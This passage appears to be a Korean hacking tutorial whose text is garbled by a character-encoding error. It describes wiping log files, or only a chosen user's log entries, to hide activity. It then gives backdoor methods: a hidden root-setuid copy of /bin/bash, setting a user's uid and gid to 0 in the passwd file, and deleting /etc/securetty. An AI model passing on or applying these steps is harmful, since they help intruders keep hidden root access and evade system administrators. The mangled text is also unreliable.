ÀÌ·± ½ÄÀ¸·Î ·Î±×¸¦ ±â·ÏÇÏ´Â ¸ðµç
ÆÄÀÏÀ» Á¦°ÅÇØ ÁÝ´Ï´Ù. ¹Ì¸® ½ºÅ©¸³Æ®¸¦ ¸¸µé¾î ³õÀº ÈÄ µ¹¸®¸é ºü¸¦
°ÍÀÔ´Ï´Ù.
¿øÇÏ´Â »ç¿ëÀÚÀÇ ·Î±× ±â·Ï¸¸ Á¦°Å
Áß°£ »ý·«...
»ùÇÃ20 - ¹éµµ¾î »ý¼º¹ý -
½©À» ÀÌ¿ëÇÑ ¹éµµ¾î
°¡Àå °£´ÜÇÑ ¹éµµ¾î´Â /bin/bash ¸¦
±¸¼®Áø °÷À¸·Î Ä«ÇÇÇÑ µÚ root ±ÇÇÑÀÇ setuid¸¦ ÁÖ´Â °ÍÀÔ´Ï´Ù. ÇÏÁö¸¸
ÀÌ°ÍÀº find ¸í·ÉÀ¸·Î ½±°Ô ¹ß°ßÀÌ µÇ±â ¶§¹®¿¡ ±×¸® ¿À·¡°¡Áø ¾ÊÀ»
°ÍÀÔ´Ï´Ù.
passwd ÆÄÀÏÀ» º¯°æÇÑ ¹éµµ¾î
¸®´ª½º´Â °èÁ¤ À̸§ÀÌ ¾Æ´Ñ user-id¿Í
group-id, Áï ¼ýÀÚ·Î »ç¿ëÀÚ¸¦ ±¸ºÐÇÑ´Ù°í Çß½À´Ï´Ù. µû¶ó¼ root ¸¦
ÀǹÌÇÏ´Â 0À¸·Î uid¿Í gid¸¦ º¯°æÇÑ´Ù¸é ÇØ´ç »ç¿ëÀÚ¸¦ root·Î °£ÁÖµÉ
°ÍÀÔ´Ï´Ù.
uid¿Í gid¸¦ º¯°æÇÑ ´ÙÀ½¿¡´Â /etc/securetty
¶ó´Â ÆÄÀÏÀ» Áö¿öÁà¾ß ÇÕ´Ï´Ù. ÀÌ°÷¿¡ root ±ÇÇÑÀ» °¡Áø ÀÚ´Â Å͹̳ÎÀÌ
¾Æ´Ñ ÄÜ¼Ö Á¢¼Ó¸¸ ÇÒ ¼ö ÀÖµµ·Ï ¼³Á¤ÀÌ µÇ¾îÀֱ⠶§¹®ÀÔ´Ï´Ù.
Áß°£ »ý·«...
|